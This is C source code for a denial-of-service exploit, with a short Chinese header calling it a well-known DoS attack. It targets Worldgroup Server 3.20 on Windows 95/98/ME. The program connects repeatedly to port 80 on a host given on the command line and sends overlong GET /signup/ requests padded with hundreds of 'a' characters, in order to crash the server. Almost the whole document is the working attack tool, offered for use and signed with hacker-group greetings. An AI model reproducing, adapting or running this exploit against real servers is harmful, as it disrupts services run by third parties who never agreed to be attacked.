www_dos.c

著名的DOS攻击源码,老外网上搜的

/*
	by Limpid Byte project
	http://lbyte.void.ru
	[e-mail]

Worldgroup Server Denial of Service for
Windows 9x/ME only.
Error between system fuction windows and
worldgroup from web interface.
REGUEST:
GET /signup/a.[aaaaaaaa....aaaa]

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock.h>

#define FOUND "200"

int main(int argc, char *argv[])
{
	int sock, count;
	struct sockaddr_in blah; 
	struct hostent *he;
	char cgiBuff[1024];
	WSADATA wsaData;

	if (argc < 2)
	{
		printf("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nThis program crash Worldgroup servers 3.20 for windows 95/98/ME.\n");
		printf("Greets to [WhU]//[GiN]//[LByte]//[WGHACK] projects!\n\n");
		printf(" USAGE   : www_dos.exe [HOST] \n");
		printf(" example : www_dos.exe 127.0.0.1 \n");
		exit(1);
	}

	if(WSAStartup(0x101,&wsaData))  
	{
		printf("Unable to initialize WinSock lib.\n"); 
		exit(1);   
	}
	printf("Let's crash the World!\n");
	printf("Coded by the [eaSt]:\n");
	printf("\nScanning %s on port 80...\n\n", argv[1]);

	for (count = 0; count < 94; count++)
	{
		sock = socket(AF_INET,SOCK_STREAM,0);
		blah.sin_family=AF_INET;
		blah.sin_addr.s_addr=inet_addr(argv[1]);
		blah.sin_port=htons(80);
		if ((he = gethostbyname(argv[1])) != NULL)
		{
			memcpy((char *)&blah.sin_addr, he->h_addr, he->h_length);
		}
		else
		{
			if ((blah.sin_addr.s_addr = inet_addr(argv[1]))==INADDR_NONE)
		    {
				WSACleanup();
				exit(1);
			}
		}

		if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))!=0)
		{
			WSACleanup();
			exit(1);
		}

		memset(cgiBuff, 0, sizeof(cgiBuff));
		sprintf(cgiBuff, "GET /signup/");
		memset(cgiBuff + 12, 'a', 219 + count);
		sprintf(cgiBuff + 12 + 219 + count, ".txt?=../test.txt HTTP/1.0\n\n");
		printf("Sending: %d symbols request\n", strlen(cgiBuff));

		send(sock,cgiBuff,strlen(cgiBuff),0);
		memset(cgiBuff, 0, sizeof(cgiBuff));
		if(!recv(sock,cgiBuff,sizeof(cgiBuff),0)) {
			printf("Crashed\n");
		}
		else {
			cgiBuff[32] = 0;
			if (strstr(cgiBuff,FOUND))
			{
				printf("Send (%s)\n", cgiBuff);
			}
			else
			{
				printf("Not Found (%s)\n", cgiBuff);
			}
		}

		closesocket(sock);
	}

	printf("Try reconnect to %s\n", argv[1]);
	WSACleanup();
	return 0;
}